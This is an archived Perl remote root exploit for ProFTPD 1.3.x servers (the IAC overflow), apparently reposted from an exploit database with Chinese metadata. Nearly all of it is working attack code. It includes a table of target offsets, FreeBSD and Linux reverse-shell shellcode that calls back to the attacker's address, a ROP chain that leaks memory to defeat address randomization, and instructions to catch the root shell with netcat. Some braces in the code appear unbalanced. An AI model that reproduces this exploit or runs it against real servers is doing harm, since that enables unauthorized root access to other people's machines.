发布 2010-11-07 漏洞条目

ProFTPd IAC 1.3.x – Remote Command Execution

Exploit Source

# Exploit Title: ProFTPD IAC Remote Root Exploit

# Date: 7 November 2010

# Author: Kingcope

# E-DB Note: If you have issues with this exploit, alter lines 549, 555 and 563.

use IO::Socket;

$numtargets = 13;

@targets =

(

# Plain Stack Smashing

#Confirmed to work

["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC

"FreeBSD", # OPERATING SYSTEM

0, # EXPLOIT STYLE

0xbfbfe000, # OFFSET START

0xbfbfff00, # OFFSET END

1029], # ALIGN

#Confirmed to work

["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",

"FreeBSD",

0xbfbfe000,

0xbfbfff00,

1021],

# Return into Libc

#Confirmed to work

["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

1, # EXPLOIT STYLE

0x0804CCD4, # write(2) offset

8189, # ALIGN

0], # PADDING

# Confirmed to work

["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",

"Linux",

0x0804D23C,

4101,

0],

#Confirmed to work

["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804C9A4,

8189,

0],

#Confirmed to work

["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",

"Linux",

0x080532D8,

4101,

12],

["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804C9C4,

8189,

0],

["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804CAA8,

8189,

0],

["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804CBBC,

8189,

0],

["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804CCBC,

8189,

0],

#Confirmed to work

["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804CCE0,

8189,

0],

["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804CA2C,

8189,

0],

#Confirmed to work

["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",

"Linux",

0x0804C290,

8189,

0],

# feel free to add more targets.

);

#freebsd reverse shell port 45295

#setup a netcat on this port ^^

$bsdcbsc =

# setreuid

"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".

# connect back :>

"\x31\xc0\x31\xdb\x53\xb3\x06\x53".

"\xb3\x01\x53\xb3\x02\x53\x54\xb0".

"\x61\xcd\x80\x31\xd2\x52\x52\x68".

"\x41\x41\x41\x41\x66\x68\xb0\xef".

"\xb7\x02\x66\x53\x89\xe1\xb2\x10".

"\x52\x51\x50\x52\x89\xc2\x31\xc0".

"\xb0\x62\xcd\x80\x31\xdb\x39\xc3".

"\x74\x06\x31\xc0\xb0\x01\xcd\x80".

"\x31\xc0\x50\x52\x50\xb0\x5a\xcd".

"\x80\x31\xc0\x31\xdb\x43\x53\x52".

"\x50\xb0\x5a\xcd\x80\x31\xc0\x43".

"\x53\x52\x50\xb0\x5a\xcd\x80\x31".

"\xc0\x50\x68\x2f\x2f\x73\x68\x68".

"\x2f\x62\x69\x6e\x89\xe3\x50\x54".

"\x53\x50\xb0\x3b\xcd\x80\x31\xc0".

"\xb0\x01\xcd\x80";

#linux reverse shell port 45295 by bighawk

#setup a netcat on this port ^^

$lnxcbsc =

# setreuid

"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".

# connect back :>

"\x6a\x66".

"\x58".

"\x6a\x01".

"\x5b".

"\x31\xc9".

"\x51".

"\x6a\x01".

"\x6a\x02".

"\x89\xe1".

"\xcd\x80".

"\x68\x7f\x7f\x7f\x7f". # IP

"\x66\x68\xb0\xef". # PORT

"\x66\x6a\x02".

"\x89\xe1".

"\x6a\x10".

"\x51".

"\x50".

"\x89\xe1".

"\x89\xc6".

"\x6a\x03".

"\x5b".

"\x6a\x66".

"\x58".

"\xcd\x80".

"\x87\xf3".

"\x6a\x02".

"\x59".

"\xb0\x3f".

"\xcd\x80".

"\x49".

"\x79\xf9".

"\xb0\x0b".

"\x31\xd2".

"\x52".

"\x68\x2f\x2f\x73\x68".

"\x68\x2f\x62\x69\x6e".

"\x89\xe3".

"\x52".

"\x53".

"\x89\xe1".

"\xcd\x80";

sub exploit1 {

for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {

printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);

$ret = pack("V", $counter);

$align = $targets[$ttype][5];

my $sock = IO::Socket::INET->new(PeerAddr => $target,

PeerPort => 21,

Proto => 'tcp');

$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;

$v = <$sock>;

print $sock "\x00" x $align . "\xff" . $stack . "\n";

close($sock);

}

# Linux technique to retrieve a rootshell (C) kingcope 2010

# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)

# only the write(2) plt entry offset is needed for the exploit to work (and of course the

# align value)

# once the correct write value is given to the exploit it fetches the memory space of proftpd.

# with this information the exploit can find function entries and byte values

# relative to the write(2) address.

# once the memory is read out the exploit does the following to circumvent linux adress space

# randomization:

# 1.) calculate mmap64() plt entry

# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)

# such as pop pop ret instructions

# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute

# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine

# 4.) copy known assembly instructions (which have been found before using the memory read)

# to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100

# and make use of the memcpy found before

# 5.) actually jump to the shellcode finder

# 6.) once the shellcode has been copied to 0x10000100 jump to it

# 7.) shellcode gets executed and we have our desired root shell.

sub exploit2 {

printf("[$target] %s :pP\n", $targets[$ttype][0]);

$align = $targets[$ttype][4];

$write_offset = $targets[$ttype][3];

$padding = $targets[$ttype][5];

$|=1;

print "align = $align\n";

print "Seeking for write(2)..\n";

#known good write(2) values

#0x0804C290

#0x0804A85C

#0x0804A234

#0x08052830

#080532D8 proftpd-basic_1.3.3a-4_i386

#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)

#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!

printf "Using write offset %08x.\n", $write_offset;

$k = $write_offset;

$sock = IO::Socket::INET->new(PeerAddr => $target,

PeerPort => 21,

Proto => 'tcp');

$sock->sockopt(SO_LINGER, pack("ii", 1, 0));

#$x = <stdin>;

$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding .

pack("V", $k). # write

"\xcc\xcc\xcc\xcc".

"\x01\x00\x00\x00". # fd for write

pack("V", $k). # buffer for write

"\xff\xff\x00\x00"; # length for write

$v = <$sock>;

print $sock "\x00" x $align . "\xff" . $stack . "\n";

vec ($rfd, fileno($sock), 1) = 1;

$timeout = 2;

if (select ($rfd, undef, undef, $timeout) >= 0

&& vec($rfd, fileno($sock), 1))

{

if (read($sock, $buff, 0xffff) == 0xffff) {

printf "\nSUCCESS. write(2) is at %08x\n", $k;

close($sock);

goto lbl1;

}

close($sock);

printf "wrong write(2) offset.\n";

exit;

lbl1:

# Once we're here chances are good that we get the root shell

print "Reading memory from server...\n";

my $sock = IO::Socket::INET->new(PeerAddr => $target,

PeerPort => 21,

Proto => 'tcp');

$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .

pack("V", $k). # write

"\xcc\xcc\xcc\xcc".

"\x01\x00\x00\x00". # fd for write

pack("V", $k). # buffer for write

"\xff\xff\x0f\x00"; # length for write

$v = <$sock>;

print $sock "\x00" x $align . "\xff" . $stack . "\n";

read($sock, $buff, 0xfffff);

if (($v = index $buff, "\x5E\x5F\x5D") >= 0) {

$pop3ret = $k + $v;

printf "pop pop pop ret located at %08x\n", $pop3ret;

} else {

print "Could not find pop pop pop ret\n";

exit;

}

if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) {

$largepopret = $k + $v;

printf "large pop ret located at %08x\n", $largepopret;

} else {

print "Could not find pop pop pop ret\n";

exit;

}

if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) {

$addr1 = $k+$v+23;

$mmap64 = unpack("I", substr($buff, $v+20, 4));

$mmap64 = $addr1 - (0xffffffff-$mmap64);

printf "mmap64 is located at %08x\n", $mmap64;

} else {

if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) {

$addr1 = $k+$v+17;

$mmap64 = unpack("I", substr($buff, $v+14, 4));

$mmap64 = $addr1 - (0xffffffff-$mmap64);

printf "mmap64 is located at %08x\n", $mmap64;

} else {

print "Could not find mmap64()\n";

exit;

}

if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) {

$addr1 = $k+$v+21;

$memcpy = unpack("I", substr($buff, $v+18, 4));

$memcpy = $addr1 - (0xffffffff-$memcpy);

printf "memcpy is located at %08x\n", $memcpy;

} else {

if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) {

$addr1 = $k+$v+21;

$memcpy = unpack("I", substr($buff, $v+18, 4));

$memcpy = $addr1 - (0xffffffff-$memcpy);

printf "memcpy is located at %08x\n", $memcpy;

} else {

if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) {

$addr1 = $k+$v+16;

$memcpy = unpack("I", substr($buff, $v+13, 4));

$memcpy = $addr1 - (0xffffffff-$memcpy);

printf "memcpy is located at %08x\n", $memcpy;

} else {

if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) {

$addr1 = $k+$v+15;

$memcpy = unpack("I", substr($buff, $v+12, 4));

$memcpy = $addr1 - (0xffffffff-$memcpy);

printf "memcpy is located at %08x\n", $memcpy;

} else {

if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) {

$addr1 = $k+$v+18;

$memcpy = unpack("I", substr($buff, $v+15, 4));

$memcpy = $addr1 - (0xffffffff-$memcpy);

printf "memcpy is located at %08x\n", $memcpy;

} else {

print "Could not find memcpy()\n";

exit;

}

if (($v = index $buff, "\xfc\x8b") >= 0) {

$byte1 = $k+$v;

printf ("byte1: %08x\n", $byte1);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\xf4") >= 0) {

$byte2 = $k+$v;

printf ("byte2: %08x\n", $byte2);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\xbf") >= 0) {

$byte3 = $k+$v;

printf ("byte3: %08x\n", $byte3);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\x00\x01\x00") >= 0) {

$byte4 = $k+$v;

printf ("byte4: %08x\n", $byte4);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\x10") >= 0) {

$byte5 = $k+$v;

printf ("byte5: %08x\n", $byte5);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) {

$byte6 = $k+$v;

printf ("byte6: %08x\n", $byte6);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\xf3") >= 0) {

$byte7 = $k+$v;

printf ("byte7: %08x\n", $byte7);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\xA4") >= 0) {

$byte8 = $k+$v;

printf ("byte8: %08x\n", $byte8);

} else {

print "Could not find a special byte\n";

exit;

}

if (($v = index $buff, "\xeb\xff") >= 0) {

$byte9 = $k+$v;

printf ("byte9: %08x\n", $byte9);

} else {

print "Could not find a special byte\n";

exit;

}

# shellcode copy routine:

#0100740B FC CLD

#0100740C 8BF4 MOV ESI,ESP

#0100740E BF 00010010 MOV EDI,10000100

#01007413 B9 00020000 MOV ECX,200

#01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>

# EB FF JMP +0xFF

# FC 8B

# F4 BF

# 00 01 00

# 10

# B9 00 02 00 00

# F3:A4

# EB FF

# El1Te X-Ploit TechNiqUe (C)

print "Building exploit buffer\n";

$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .

pack("V", $mmap64). # mmap64()

pack("V", $largepopret). # add esp, 20h; pop; pop

"\x00\x00\x00\x10". # mmap start

"\x00\x10\x00\x00". # mmap size

"\x07\x00\x00\x00". # mmap prot

"\x32\x00\x00\x00". # mmap flags

"\xff\xff\xff\xff". # mmap fd

"\x00\x00\x00\x00". # mmap offset

"\x00\x00\x00\x00".

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x00\x00\x00\x10". # destination

pack("V", $byte1). # origin

"\x02\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x02\x00\x00\x10". # destination

pack("V", $byte2). # origin

"\x01\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x03\x00\x00\x10". # destination

pack("V", $byte3). # origin

"\x01\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x04\x00\x00\x10". # destination

pack("V", $byte4). # origin

"\x03\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x07\x00\x00\x10". # destination

pack("V", $byte5). # origin

"\x01\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x08\x00\x00\x10". # destination

pack("V", $byte6). # origin

"\x05\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x0d\x00\x00\x10". # destination

pack("V", $byte7). # origin

"\x01\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x0e\x00\x00\x10". # destination

pack("V", $byte8). # origin

"\x01\x00\x00\x00". # number of bytes to copy

pack("V", $memcpy). # memcpy()

pack("V", $pop3ret). # pop; pop; pop; retn

"\x0f\x00\x00\x10". # destination

pack("V", $byte9). # origin

"\x02\x00\x00\x00". # number of bytes to copy

"\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address

"\x90" x 100 . $shellcode . "\x90" x 10;

print "Sending exploit buffer!\n";

my $sock = IO::Socket::INET->new(PeerAddr => $target,

PeerPort => 21,

Proto => 'tcp');

$v = <$sock>;

print $sock "\x00" x $align . "\xff" . $stack . "\n";

print "Check your netcat?\n";

while(<$sock>) {

print;

}

sub usage() {

print "written by kingcope\n";

print "usage:\n".

"proremote.pl <target ip/host> <your ip> <target type>\n\n";

for ($i=0; $i<$numtargets; $i++) {

print "\t[".$i."]\t". $targets[$i][0]. "\r\n";

}

exit;

}

if ($#ARGV ne 2) { usage; }

$target = $ARGV[0];

$cbip = $ARGV[1];

$ttype = $ARGV[2];

$platform = $targets[$ttype][1];

$style = $targets[$ttype][2];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));

if ($platform eq "FreeBSD") {

$shellcode = $bsdcbsc;

substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);

} else {

if ($platform eq "Linux") {

$shellcode = $lnxcbsc;

substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);

} else {

print "typo ?\n";

exit;

}}

if ($style eq 0) {

exploit1;

} else {

exploit2;

}

print "done.\n";

exit;

作者: kingcope
日期: 2010-11-07
类别: remote
平台: linux

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